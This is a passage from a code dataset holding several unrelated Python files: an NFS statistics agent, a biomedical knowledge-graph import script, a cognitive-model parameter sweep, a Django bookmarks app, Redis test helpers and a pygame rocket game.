cv2.setMouseCallback('image', self.mouse_callback)\n cv2.imshow('image', img)\n while True:\n key = cv2.waitKey(0)\n if key == 27:\n break\n cv2.destroyAllWindows()\n return None\n\n def resize(self, resize):\n \"\"\"\n Handy function to resize image\n\n If resize argument is float, it specifies the scaling percent. If it's a tuple,\n it specifies the dimensions of the resulting image. Additionally, if the 2-nd parameter\n equals -1, it is calculated so the proportions of the image are preserved.\n\n Args:\n resize (float or tuple, optional): look at the description\n \"\"\"\n if isinstance(resize, float):\n assert 0 < resize <= 1\n width = int(self.img.shape[1] * resize)\n height = int(self.img.shape[0] * resize)\n dim = (width, height)\n elif isinstance(resize, (tuple, list)):\n if resize[1] == -1:\n dim = (resize[0], self.img.shape[0] *\n resize[0] // self.img.shape[1])\n else:\n dim = resize\n else:\n raise RuntimeError(\"Wrong resize argument: \" + str(resize))\n self.img = cv2.resize(self.img, dim)\n","repo_name":"anstadnik/adversarial_attack","sub_path":"img.py","file_name":"img.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"13530676328","text":"#! /usr/bin/python3\n\nimport subprocess\nimport json\nimport requests\nimport socket\nimport time\nfrom datetime import datetime\n\nday_interval = 10\nnight_interval = 300\nhostname = socket.gethostname()\nip_address = socket.gethostbyname(hostname)\nhostname = hostname.replace('.telviva.com', '')\n\ntelviva_42_mounts = ['/var/lib/enswitch', '/var/lib/enswitch_aws/recordings', '/var/lib/enswitch_omf/recordings']\ntelviva_35_mounts = ['/var/lib/enswitch', '/var/lib/enswitch_aws/recordings']\n\nmounts = telviva_42_mounts\nif '197.155.251' not in ip_address or '10.155.251' not in ip_address:\n mounts = telviva_35_mounts\n\n\nwhile True:\n\n try:\n interval = night_interval\n now = datetime.now()\n hour = now.hour\n if hour >= 7 and hour < 18:\n interval = day_interval\n \n for mount in mounts:\n proc = subprocess.Popen([\"nfs-iostat\", \"jsonstats\", mount], stdout=subprocess.PIPE)\n output, error = proc.communicate()\n\n output = output.strip()\n output_str = output.decode('utf-8')\n jsonstats = json.loads(output_str)\n jsonstats['server'] = hostname\n\n resp = requests.post('https://nfsmon.telviva.com/nfs/api/save', json=jsonstats, headers={'Content-Type': 'application/json'})\n # Sleep \n time.sleep(interval)\n except KeyboardInterrupt as e:\n break\n\n","repo_name":"MichaelSwann/nfs-iostat","sub_path":"nfs_agent.py","file_name":"nfs_agent.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"16695754619","text":"import biocypher\nimport sys\n\nsys.path.append(\"\")\nfrom adapters.nedrex_adapter import (\n NeDRexAdapter,\n NeDRexDataset,\n DrugNodeField, DiseaseNodeField, GeneNodeField, ProteinNodeField, SignatureNodeField, PathwayNodeField,\n DrugDiseaseIndicationEdgeField, DiseaseDiseaseEdgeField, DrugTargetEdgeField, DrugDiseaseContraindicationEdgeField,\n GeneDiseaseAssociationEdgeField\n, DrugSimilarityEdgeField, ProteinProteinSimilarityEdgeField, ProteinHasSignatureEdgeField, ProteinEncodedByEdgeField,\n ProteinIsInPathwayEdgeField, ProteinIsIsoformOfProteinEdgeField, ProteinProteinInteractionEdgeField\n)\n\n\"\"\"\nConfiguration: select datasets and fields to be imported.\n\n`node_field`: list of fields to be imported for each of the types of nodes that\nthe adapter creates. See nedrex_adapter.py for available fields\nor use Enum auto-complete of `...NodeField`. Note\nthat some fields are mandatory for the functioning of the adapter (primary\nidentifiers) and some are optional (e.g. gene symbol).\n\n`edge_fields`: list of fields to be imported for each of the relationships that\nthe adapter creates. See nedrex_adapter.py for available fields\nor use Enum auto-complete of `...EdgeField`. Note that some fields are\nmandatory for the functioning of the adapter (primary identifiers) and some are\noptional (e.g. score).\n\"\"\"\n\nnode_fields = [\n # mandatory fields\n DrugNodeField._PRIMARY_ID,\n DiseaseNodeField._PRIMARY_ID,\n GeneNodeField._PRIMARY_ID,\n ProteinNodeField._PRIMARY_ID,\n SignatureNodeField._PRIMARY_ID,\n PathwayNodeField._PRIMARY_ID,\n\n # optional_fileds\n DrugNodeField.DRUG_NAME,\n DrugNodeField.ALL_DATASETS,\n DrugNodeField.CAS_NUMBER,\n DrugNodeField.DESCRIPTION,\n DrugNodeField.DOMAIN_IDS,\n DrugNodeField.DRUG_CATEGORIES,\n DrugNodeField.DRUG_GROUPS,\n DrugNodeField.INDICATION,\n DrugNodeField.IUPAC_NAME,\n DrugNodeField.PRIMARY_DATASET,\n DrugNodeField.SEQUENCES,\n DrugNodeField.SYNONYMS,\n DrugNodeField.INCI,\n DrugNodeField.MOLECULAR_FORMULA,\n DrugNodeField.SMILES,\n\n DiseaseNodeField.NAME,\n DiseaseNodeField.DomainIDs,\n DiseaseNodeField.SYNONYMS,\n DiseaseNodeField.ICD10,\n DiseaseNodeField.DESCRIPTION,\n\n GeneNodeField.NAME,\n GeneNodeField.DOMAIN_IDS,\n GeneNodeField.SYNONYMS,\n GeneNodeField.APPROVED_SYMBOL,\n GeneNodeField.SYMBOLS,\n GeneNodeField.DESCRIPTION,\n GeneNodeField.CHROMOSOME,\n GeneNodeField.MAP_LOCATION,\n GeneNodeField.GENE_TYPE,\n\n ProteinNodeField.NAME,\n ProteinNodeField.SEQUENCE,\n ProteinNodeField.DISPLAY_NAME,\n ProteinNodeField.SYNONYMS,\n ProteinNodeField.COMMENTS,\n ProteinNodeField.GENE_NAME,\n ProteinNodeField.TAXID,\n\n PathwayNodeField.NAME,\n PathwayNodeField.DOMAIN_IDS,\n PathwayNodeField.SPECIES,\n\n SignatureNodeField.DESCRIPTION\n]\nedge_fields = [\n DrugSimilarityEdgeField.MORGAN_R1,\n DrugSimilarityEdgeField.MORGAN_R2,\n DrugSimilarityEdgeField.MORGAN_R3,\n DrugSimilarityEdgeField.MORGAN_R4,\n DrugSimilarityEdgeField.MACCS,\n\n ProteinProteinSimilarityEdgeField.BLAST12_QUERY,\n ProteinProteinSimilarityEdgeField.BLAST12_HIT,\n ProteinProteinSimilarityEdgeField.BLAST12_BITSCORE,\n ProteinProteinSimilarityEdgeField.BLAST12_QUERY_E_VALUE,\n ProteinProteinSimilarityEdgeField.BLAST12_QUERY_START,\n ProteinProteinSimilarityEdgeField.BLAST12_QUERY_END,\n ProteinProteinSimilarityEdgeField.BLAST12_HIT_START,\n ProteinProteinSimilarityEdgeField.BLAST12_HIT_END,\n ProteinProteinSimilarityEdgeField.BLAST12_IDENTITY,\n ProteinProteinSimilarityEdgeField.BLAST12_MISMATCHES,\n ProteinProteinSimilarityEdgeField.BLAST12_GAPS,\n ProteinProteinSimilarityEdgeField.BLAST12_QUERY_COVER,\n ProteinProteinSimilarityEdgeField.BLAST12_HIT_COVER,\n ProteinProteinSimilarityEdgeField.BLAST12_TYPE,\n ProteinProteinSimilarityEdgeField.BLAST21_QUERY,\n ProteinProteinSimilarityEdgeField.BLAST21_HIT,\n ProteinProteinSimilarityEdgeField.BLAST21_BITSCORE,\n ProteinProteinSimilarityEdgeField.BLAST21_E_VALUE,\n ProteinProteinSimilarityEdgeField.BLAST21_QUERY_START,\n ProteinProteinSimilarityEdgeField.BLAST21_QUERY_END,\n ProteinProteinSimilarityEdgeField.BLAST21_HIT_START,\n ProteinProteinSimilarityEdgeField.BLAST21_HIT_END,\n ProteinProteinSimilarityEdgeField.BLAST21_IDENTITY,\n ProteinProteinSimilarityEdgeField.BLAST21_MISMATCHES,\n ProteinProteinSimilarityEdgeField.BLAST21_GAPS,\n ProteinProteinSimilarityEdgeField.BLAST21_QUERY_COVER,\n ProteinProteinSimilarityEdgeField.BLAST21_HIT_COVER,\n ProteinProteinSimilarityEdgeField.BLAST21_TYPE,\n\n ProteinProteinInteractionEdgeField.DATABASES,\n ProteinProteinInteractionEdgeField.METHODS,\n ProteinProteinInteractionEdgeField.EVIDENCE_TYPES,\n\n GeneDiseaseAssociationEdgeField.ASSERTED_BY,\n GeneDiseaseAssociationEdgeField.SCORE\n]\n\n\ndef main():\n \"\"\"\n Main function running the import using BioCypher and the adapter.\n \"\"\"\n\n # Start BioCypher\n driver = biocypher.BioCypher(\n schema_config_path=\"config/nedrex_schema_config.yaml\",\n biocypher_config_path=\"config/biocypher_config.yaml\"\n )\n\n # Check the schema\n driver.show_ontology_structure()\n\n # Load data\n\n # NeDRex Adapter\n nedrex_adapter = NeDRexAdapter(\n node_fields=node_fields,\n edge_fields=edge_fields\n )\n\n nedrex_adapter.load_data(\n stats=False,\n show_nodes=False\n )\n\n # Write NeDRex nodes nodes\n driver.write_nodes(nedrex_adapter.get_nodes())\n\n # Write NeDRex edges in batches to avoid memory issues\n\n driver.write_edges(nedrex_adapter.get_edges())\n\n # Post import functions\n driver.write_import_call()\n driver.log_duplicates()\n driver.log_missing_bl_types()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"repotrial/NeDRexDB_v1_Archive","sub_path":"scripts/nedrex_script.py","file_name":"nedrex_script.py","file_ext":"py","file_size_in_byte":5761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"41602703947","text":"#%%\nimport sys\nimport numpy as np\nimport psyneulink as pnl\nimport pandas as pd\n\nfrom psyneulink.core.globals.utilities import set_global_seed\n\nsys.path.append(\".\")\n\nfrom stability_flexibility_nn import make_stab_flex, generate_trial_sequence\n\n# Let's make things reproducible\npnl_seed = None\ntrial_seq_seed = None\nset_global_seed(pnl_seed)\n\n# High-level parameters that impact duration of parameter estimation\nnum_trials = 512\ntime_step_size = 0.01\nnum_estimates = 100\n\nsf_params = dict(\n gain=3.0,\n leak=3.0,\n competition=2.0,\n lca_time_step_size=time_step_size,\n non_decision_time=0.2,\n stim_hidden_wt=1.5,\n starting_value=0.0,\n threshold=0.1,\n ddm_noise=np.sqrt(0.1),\n lca_noise=0.0,\n hidden_resp_wt=2.0,\n ddm_time_step_size=time_step_size,\n)\n\n# Initialize composition\ncomp = make_stab_flex(**sf_params)\ntaskInput = comp.nodes[\"Task Input\"]\nstimulusInput = comp.nodes[\"Stimulus Input\"]\ncueInterval = comp.nodes[\"Cue-Stimulus Interval\"]\ncorrectInfo = comp.nodes[\"Correct Response Info\"]\n\nall_thresholds = np.linspace(0.001, 0.3, 3)\nall_rr = np.array([])\nall_rt = np.array([])\nall_acc = np.array([])\n\nfor threshold_i in all_thresholds:\n\n # Update the parameters of the composition\n #comp.nodes[\"DDM\"].function.threshold.base = threshold_i\n\n context = pnl.Context()\n\n comp.nodes[\"DDM\"].function.parameters.threshold.set(threshold_i, context)\n\n # Generate sample data to\n switchFrequency = 0.5\n taskTrain, stimulusTrain, cueTrain, correctResponse = generate_trial_sequence(512, switchFrequency, seed=trial_seq_seed)\n taskTrain = taskTrain[0:num_trials]\n stimulusTrain = stimulusTrain[0:num_trials]\n cueTrain = cueTrain[0:num_trials]\n correctResponse = correctResponse[0:num_trials]\n\n # CSI is in terms of time steps, we need to scale by ten because original code\n # was set to run with timestep size of 0.001\n cueTrain = [c / 10.0 for c in cueTrain]\n\n inputs = {\n taskInput: [[np.array(taskTrain[i])] for i in range(num_trials)],\n stimulusInput: [[np.array(stimulusTrain[i])] for i in range(num_trials)],\n cueInterval: [[np.array([cueTrain[i]])] for i in range(num_trials)],\n correctInfo: [[np.array([correctResponse[i]])] for i in range(num_trials)]\n }\n\n comp.run(inputs, execution_mode=pnl.ExecutionMode.LLVMRun, context=context)\n results = comp.results\n\n data_to_fit = pd.DataFrame(\n np.squeeze(np.array(results))[:, 1:], columns=[\"decision\", \"response_time\"]\n )\n\n comp.reset()\n comp.results.clear()\n\n rr_i = np.mean(data_to_fit[\"decision\"] / data_to_fit[\"response_time\"])\n rt_i = np.mean(data_to_fit[\"response_time\"])\n acc_i = np.mean(data_to_fit[\"decision\"])\n\n all_rr = np.append(all_rr, rr_i)\n all_rt = np.append(all_rt, rt_i)\n all_acc = np.append(all_acc, acc_i)\n\nprint(all_thresholds)\nprint(all_rr)\nprint(all_rt)\nprint(all_acc)","repo_name":"PrincetonUniversity/PsyNeuLink","sub_path":"Scripts/Debug/stability_flexibility/stability_flexibility_nn_pec_optimize_validate.py","file_name":"stability_flexibility_nn_pec_optimize_validate.py","file_ext":"py","file_size_in_byte":2889,"program_lang":"python","lang":"en","doc_type":"code","stars":78,"dataset":"github-code","pt":"27"} +{"seq_id":"71335179272","text":"# encoding:utf-8\n\nimport socket\n\n# 创建socket对象\ns = socket.socket()\n\n# 获取本地主机名\nhost = socket.gethostname()\nprint(host)\n\n# 设置端口号\nport = 8080\n\n# 连接服务,指定主机和端口\ns.connect((host, port))\n\n# 接收1024字节的数据并解码\nprint(s.recv(1024).decode('utf-8'))\n\n","repo_name":"xishang/demos","sub_path":"Python/base-demo/network/socket_client_demo.py","file_name":"socket_client_demo.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"37182980229","text":"#Import statements are to enable the code to use the functions from the library\nimport pygame\nimport sys\nimport os\nimport random\n\n\n#instructions to windows to center the game window in the center of\n#the screen, which it might ignore\nos.environ[\"SDL_VIDEO_CENTERED\"] = \"1\"\n\n#initialize pygame\npygame.init()\n\n#Right way\nSCREENWIDTH = 500\nSCREENHEIGHT = 500\nSCREENSIZE = [SCREENWIDTH, SCREENHEIGHT]\nSCREEN = pygame.display.set_mode(SCREENSIZE)\n\n#caption for the game\npygame.display.set_caption(\"My first game in pygame\")\n\nANGLE = 90\nBLACK = (0,0,0)\n\n#The rocket - the actor/sprite that moves with arrows/WASD\nclass Rocket(pygame.sprite.Sprite):\n def __init__(self, image, x, y):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(image)\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y\n #Horizontal\n #self.vertical = 1\n def draw_updatescreen(self):\n #Do it once\n #SCREEN.fill(BLACK)\n blitrocketrect = SCREEN.blit(self.image, (self.rect.x, self.rect.y))\n #pygame.display.update()\n def rotate(self, angle):\n self.image = pygame.transform.rotate(self.image, angle)\n def update(self, x, y):\n self.rect.x = x\n self.rect.y = y\n\n#This group has only one sprite\nX = 40\nY = 40\nSPRITENAME = 'rocket.png'\nrocket = Rocket(SPRITENAME, X, Y)\n\n#uncomment - for drawing with sprite group\nrocket_group = pygame.sprite.Group()\nrocket_group.add(rocket)\n\n#Do it once\n#rocket.draw_updatescreen()\n#rocket_group.draw(SCREEN)\n\n#Two levels - a list of lists\nlevels = [\n [\n \"WWWWWWWWWWWWWWWWWWWW\",\n \" \",\n \" \",\n \" \",\n \" \",\n \" \",\n \" \",\n \" \",\n \" \",\n \"W WWWWWWW\",\n \" \",\n \" \",\n \" \",\n \" \",\n \" \",\n \"WWWWWWWWWWWWWWWWWWWW\",\n ],\n [\n \"WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\",\n \"W WWWWWWWWWWWWWWWWWWWWWWWWWWWWW W\",\n \"W W\",\n \"W W\",\n \"W WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW W\",\n \"WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\",\n ]\n]\n\nwalls = []\nRECTWIDTH = 30\nRECTLENGTH = 30\nclass Wall(pygame.sprite.Sprite):\n def __init__(self, x, y):\n self.rect = pygame.Rect(x,y, RECTWIDTH,RECTLENGTH)\n walls.append(self)\n \nlevel = levels[0]\n\nWALLSTARTXPOS = 0\nWALLSTARTYPOS = 200\nx = WALLSTARTXPOS\ny = WALLSTARTYPOS\n\nfor row in level:\n for col in row:\n if(col == \"W\"):\n wall = Wall(x,y)\n x+=10\n y+=10\n x=0\n\n#Do it once\n#pygame.display.update()\n#wall_group.draw(SCREEN)\n\n#Play music infintely till the game runs\nMUSICFILE = \"background_music.mp3\"\nINFINITE = -1\npygame.mixer.music.load(MUSICFILE)\npygame.mixer.music.play(INFINITE)\n\nwhile True:\n for events in pygame.event.get():\n if events.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n if (events.type == pygame.MOUSEBUTTONDOWN):\n rocket.rotate(ANGLE)\n #Method 1\n #rocket.draw_updatescreen()\n #Method 2 - commented out\n rocket_group.draw(SCREEN)\n \n #Inside while, a single tab space from while\n user_input = pygame.key.get_pressed()\n if(user_input[pygame.K_UP]):\n Y=Y-1\n if(Y<0):Y=SCREENHEIGHT\n elif(user_input[pygame.K_DOWN]):\n Y=Y+1\n if(Y>SCREENHEIGHT):Y=0\n elif(user_input[pygame.K_LEFT]):\n X=X-1\n if(X<0):X=SCREENWIDTH\n elif(user_input[pygame.K_RIGHT]):\n X=X+1\n if(X>SCREENWIDTH):X=0\n\n SCREEN.fill(BLACK)\n #Drawing rectangles now\n #wall_group.draw(SCREEN)\n COLOR = (255,100, 150)\n #draws the rectangle in the levels\n for wall in walls:\n wallrect = pygame.draw.rect(SCREEN, COLOR, wall.rect)\n \n \n rocket.update(X,Y)\n rocket.draw_updatescreen()\n #Method 2\n #rocket_group.draw(SCREEN)\n \n #sprite collide is for sprites in a group\n for wall in walls:\n if(rocket.rect.colliderect(wall.rect)):\n print(\"collision : \" + str(id(wall)))\n #Blacken the collided rectangle\n wallrect = pygame.draw.rect(SCREEN, BLACK, wall.rect)\n #remove it from the list\n walls.remove(wall)\n \n pygame.display.update()\n\n GAMEOVER = \"Game Over\"\n FONTNAME = 'freesansbold.ttf'\n GAMEOVERTXTCOLOR = (150, 150, 150)\n CENTERSCREENPOS = (250, 250)\n SCOREFILENAME = \"gamescores.txt\"\n FILEMODE = \"w\"\n FILETEXT = \"Cannons burst = {}\"\n ERRORMSG = \"could not handle file\"\n GAMEOVERMUSIC = \"gameover.mp3\"\n PLAYONCE = 0\n #if(len(wall_group.sprites()) == 0):\n if(len(walls) == 0):\n print(\"game over\")\n pygame.mixer.music.stop()\n pygame.mixer.music.load(GAMEOVERMUSIC)\n pygame.mixer.music.play(PLAYONCE)\n try:\n #delete the file\n save_file = open(SCOREFILENAME, FILEMODE)\n save_file.write(FILETEXT.format(len(walls)))\n #save_file.write(FILETEXT.format(NOOFWALLS))\n save_file.close()\n except IOError:\n print(ERRORMSG)\n SCREEN.fill(BLACK)\n font = pygame.font.Font(FONTNAME, 30)\n text_surface = font.render(GAMEOVER, True, GAMEOVERTXTCOLOR)\n text_rect = text_surface.get_rect()\n text_rect.center = CENTERSCREENPOS\n SCREEN.blit(text_surface, text_rect)\n pygame.display.update()\n pygame.time.wait(5000)\n pygame.quit()\n sys.exit()\n \n","repo_name":"sahirvsahirv/CodeRepository","sub_path":"Pygame/pygame tutorial/pygame_tutorial/19_levels.py","file_name":"19_levels.py","file_ext":"py","file_size_in_byte":5810,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"27"} +{"seq_id":"12476780132","text":"# -*- coding: utf-8 -*-\r\n# @Time : 2021/4/9 19:46\r\n# @Author : Deng Qidong\r\n# @FileName: get_GENIA.py\r\n# @Software: PyCharm\r\nwith open(\"GENIA_abstract.pure.txt\",'r', encoding='utf-8') as lines:\r\n with open (\"get_part_of_GENIA.txt\",'w', encoding='utf-8') as f:\r\n n=0\r\n for line in lines:\r\n print(line)\r\n if n<55414:\r\n f.write(line)\r\n n=n+1\r\n f.close()\r\n lines.close()\r\n","repo_name":"LianzePuppet/nlp_homework1","sub_path":"get_GENIA.py","file_name":"get_GENIA.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"1221669599","text":"import sys\nsys.stdin = open(\"input.txt\", \"r\")\n\nT = int(input())\n\nfor test_case in range(T):\n incomes = list(map(int, input().split()))# 소득 리스트\n sum_income = 0 # 소득을 합산해서 평균을 구할떄 사용할 변수\n avg = 0 # 평균\n cnt = 0 # 평균 이하의 사람들을 카운트할때 사용할 변수\n case_case = int(input())\n \n\n for i in incomes: # 소득리스트를 순회하면서 더하고, 평균을구한다.\n sum_income += i\n avg = sum_income / len(incomes)\n\n for i in incomes: # 평균이하의 사람들의 수를 카운트한다.\n if i <= avg:\n cnt += 1\n print(f'#{test_case+1}', cnt) # 출력한다.","repo_name":"wnsn8546/TIL","sub_path":"KDT-MultCampus/0729_특강, PJT-3_모의고사/10505_소득 불균형.py","file_name":"10505_소득 불균형.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"24084568710","text":"from django.http.response import JsonResponse\nfrom django.views.generic.base import View\nfrom .models import Substitution\nfrom application.main.models import Product\nfrom django.shortcuts import redirect, render\nfrom django.views.generic import TemplateView\nfrom django.views.generic.edit import UpdateView\nfrom django.contrib.auth import get_user_model\nfrom django.db import IntegrityError\n\nUser = get_user_model()\n\n\n# Create your views here.\nclass BookmarksView(UpdateView):\n \"\"\"\n Class holding the views of the bookmark application.\n \"\"\"\n template_name = 'bookmark/bookmarks.html'\n model = Substitution\n\n def get(self, request):\n \"\"\"\n Get function, displays the bookmarks if there are some.\n \"\"\"\n current_user = request.user\n bookmarks = Substitution.get_bookmarks_by_user(current_user.id)\n data = {}\n for bookmark in bookmarks:\n data[Product.retrieve_prod_with_pk(bookmark.replacing_product_id)] = [\n Product.retrieve_prod_with_pk(bookmark.replaced_product_id),\n bookmark.date_creation]\n context = {'data': data}\n return render(request, self.template_name, context)\n\n def post(self, *args, **kwargs):\n \"\"\"\n Post function, delete a bookmark when consulting them.\n \"\"\"\n current_user = self.request.POST.get('user_id')\n replaced_id = self.request.POST.get('product_id')\n replacing_id = self.request.POST.get('suggestion_id')\n bookmark_to_delete = Substitution.objects.get(replaced_product_id=replaced_id,\n replacing_product_id=replacing_id,\n user_id=current_user)\n bookmark_to_delete.delete()\n return redirect('bookmark:consult')\n\n\nclass AddBookmarkView(View):\n \"\"\"\n View called when the user wishes to add a bookmark.\n \"\"\"\n def post(self, *args):\n current_user = self.request.POST.get('user_id')\n replaced_id = self.request.POST.get('replaced_id')\n replacing_id = self.request.POST.get('replacing_id')\n Substitution.save_bookmark(replaced_id, replacing_id, current_user)\n data = {\n 'status': True,\n }\n return JsonResponse(data)\n","repo_name":"vicsim181/PurBeurre_P11","sub_path":"application/bookmark/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"138175260","text":"import os\nimport sys\nfrom logging import exception\nfrom RLTest import Env as rltestEnv, Defaults\nfrom packaging import version\nimport inspect\nimport redis\nimport pytest\nfrom functools import wraps\n\ntry:\n sys.path.insert(0, os.path.join(os.path.dirname(__file__), \"../../deps/readies\"))\n import paella\nexcept exception:\n pass\n\n\nDISABLE_AOF_PARSER=True # TODO: remove when hiredis RESP3-related problem is resolved\n\nOSNICK = paella.Platform().osnick\n\nRLEC_CLUSTER = os.getenv('RLEC_CLUSTER') == '1'\n\nSANITIZER = os.getenv('SANITIZER', '')\nVALGRIND = os.getenv('VALGRIND', '0') == '1'\nCODE_COVERAGE = os.getenv('CODE_COVERAGE', '0') == '1'\n\n\nDefaults.terminate_retries = 3\nDefaults.terminate_retries_secs = 1\n\n\ndef Env(*args, **kwargs):\n if 'testName' not in kwargs:\n kwargs['testName'] = '%s.%s' % (inspect.getmodule(inspect.currentframe().f_back).__name__, inspect.currentframe().f_back.f_code.co_name)\n env = rltestEnv(*args, terminateRetries=3, terminateRetrySecs=1, **kwargs)\n if not RLEC_CLUSTER:\n for shard in range(0, env.shardsCount):\n conn = env.getConnection(shard)\n modules = conn.execute_command('MODULE', 'LIST')\n if env.protocol == 2:\n if not any(module for module in modules if (module[1] == b'timeseries' or module[1] == 'timeseries')):\n break\n else:\n if not any(module for module in modules if (module[b'name'] == b'timeseries' or module[b'name'] == 'timeseries')):\n break\n conn.execute_command('timeseries.REFRESHCLUSTER')\n return env\n\nDefaults.env_factory = Env\n\n\ndef is_rlec():\n if RLEC_CLUSTER:\n return True\n else:\n return False\n\ndef skip_on_rlec():\n if RLEC_CLUSTER:\n rltestEnv().skip()\n\ndef decode_if_needed(data):\n if isinstance(data, list):\n ret = []\n for item in data:\n ret.append(decode_if_needed(item))\n return ret\n elif isinstance(data, bytes):\n return data.decode()\n else:\n return data\n\ndef is_redis_version_smaller_than(con, _version, is_cluster=False):\n res = con.execute_command('INFO')\n ver = \"\"\n if is_cluster:\n try:\n ver = ((list(res.values()))[0])['redis_version']\n except:\n ver = res['redis_version']\n #print(((list(res.values()))[0]))\n else:\n ver = res['redis_version']\n return (version.parse(ver) < version.parse(_version))\n\ndef skip(always=False, on_cluster=False, on_macos=False, asan=False):\n def decorate(f):\n @wraps(f)\n def wrapper(x, *args, **kwargs):\n env = x if isinstance(x, rltestEnv) else x.env\n if always:\n env.skip()\n if on_cluster and env.isCluster():\n env.skip()\n if on_macos and OS == 'macos':\n env.skip()\n if SANITIZER == 'address':\n env.skip()\n return f(x, *args, **kwargs)\n return wrapper\n return decorate\n","repo_name":"RedisTimeSeries/RedisTimeSeries","sub_path":"tests/flow/includes.py","file_name":"includes.py","file_ext":"py","file_size_in_byte":3025,"program_lang":"python","lang":"en","doc_type":"code","stars":947,"dataset":"github-code","pt":"27"} +{"seq_id":"41427049713","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport location_field.models.plain\nimport model_utils.fields\nimport django.utils.timezone\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('member', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Tracker',\n fields=[\n ('id', models.AutoField(primary_key=True, auto_created=True, serialize=False, verbose_name='ID')),\n ('created', model_utils.fields.AutoCreatedField(editable=False, default=django.utils.timezone.now, verbose_name='created')),\n ('modified', model_utils.fields.AutoLastModifiedField(editable=False, default=django.utils.timezone.now, verbose_name='modified')),\n ('type', models.CharField(choices=[('dc', 'daily condition'), ('hr', 'heart rate'), ('bg', 'blood glucose')], default='dc', verbose_name='Jenis Penelusuran', max_length=2)),\n ('condition', models.CharField(choices=[('ba', 'baik'), ('bi', 'biasa'), ('tb', 'tidak baik'), ('sk', 'sakit kepala'), ('sl', 'sakit leher'), ('sdl', 'sakit dada kiri'), ('sdr', 'sakit dada kanan'), ('sll', 'sakit lengan kiri'), ('slr', 'sakit lengan kanan'), ('sp', 'sakit perut'), ('spl', 'sakit paha kiri'), ('spr', 'sakit paha kanan'), ('sbl', 'sakit betis kiri'), ('sbr', 'sakit betis kanan'), ('stl', 'sakit telapak kaki kiri'), ('str', 'sakit telapak kaki kanan')], default=3, verbose_name='Kondisi', max_length=3)),\n ('value', models.SmallIntegerField(default=0, verbose_name='Nilai')),\n ('photo', models.ImageField(null=True, blank=True, upload_to='', verbose_name='Gambar')),\n ('location', location_field.models.plain.PlainLocationField(max_length=63, default='-6.889836,109.674592')),\n ('elder', models.ForeignKey(verbose_name='Orang Tua', to='member.Elder')),\n ],\n options={\n 'verbose_name_plural': 'Data Penelusuran',\n 'verbose_name': 'Penelusuran',\n },\n ),\n ]\n","repo_name":"kaqfa/elderly_cloud","sub_path":"tracker/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2119,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"} +{"seq_id":"23520559097","text":"import pygame\nfrom cell import Board\nfrom town import Country\nimport sys\nimport tkinter\nimport os\nfrom copy import deepcopy\nfrom functions import *\n\n\ndef rules_menu():\n intro_text = []\n with open('data/rules/rules_menu.txt', 'r', encoding='utf-8') as file:\n dop = file.readlines()\n for i in dop:\n intro_text.append(i[:-1])\n screen.fill(pygame.Color('#98FB98'))\n font = pygame.font.Font(None, 50)\n text_coord = 100\n for line in intro_text:\n string_rendered = font.render(line, 1, pygame.Color('black'))\n intro_rect = string_rendered.get_rect()\n text_coord += 10\n intro_rect.top = text_coord\n intro_rect.x = 50\n text_coord += intro_rect.height\n screen.blit(string_rendered, intro_rect)\n while True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n terminate()\n elif event.type == pygame.KEYDOWN or event.type == pygame.MOUSEBUTTONDOWN:\n return\n pygame.display.flip()\n clock.tick(fps)\n\n\ndef rules_new_game():\n intro_text = []\n with open('data/rules/rules_new_game.txt', 'r', encoding='utf-8') as file:\n dop = file.readlines()\n for i in dop:\n intro_text.append(i[:-1])\n screen.fill(pygame.Color('#98FB98'))\n font = pygame.font.Font(None, 50)\n text_coord = 100\n for line in intro_text:\n string_rendered = font.render(line, 1, pygame.Color('black'))\n intro_rect = string_rendered.get_rect()\n text_coord += 10\n intro_rect.top = text_coord\n intro_rect.x = 50\n text_coord += intro_rect.height\n screen.blit(string_rendered, intro_rect)\n while True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n terminate()\n elif event.type == pygame.KEYDOWN or event.type == pygame.MOUSEBUTTONDOWN:\n return\n pygame.display.flip()\n clock.tick(fps)\n\n\ndef draw_start_menu(active_line):\n intro_text = [\"Продолжить (1)\",\n \"Новая игра (2)\",\n \"Правила игры (3)\"]\n fon = pygame.transform.scale(load_image('civilization.png'), (MONITOR_width, MONITOR_height))\n screen.blit(fon, (0, 0))\n font = pygame.font.Font(None, 70)\n text_coord = 50\n for i, line in enumerate(intro_text):\n string_rendered = font.render(line, 1, pygame.Color('black'))\n intro_rect = string_rendered.get_rect()\n intro_rect.top = text_coord\n intro_rect.x = 50\n text_coord += 70\n text_coord += intro_rect.height\n if i == active_line and line != \"\":\n pygame.draw.rect(screen, pygame.Color(130, 137, 143),\n (intro_rect.x - 10, intro_rect.y - 10, intro_rect.w 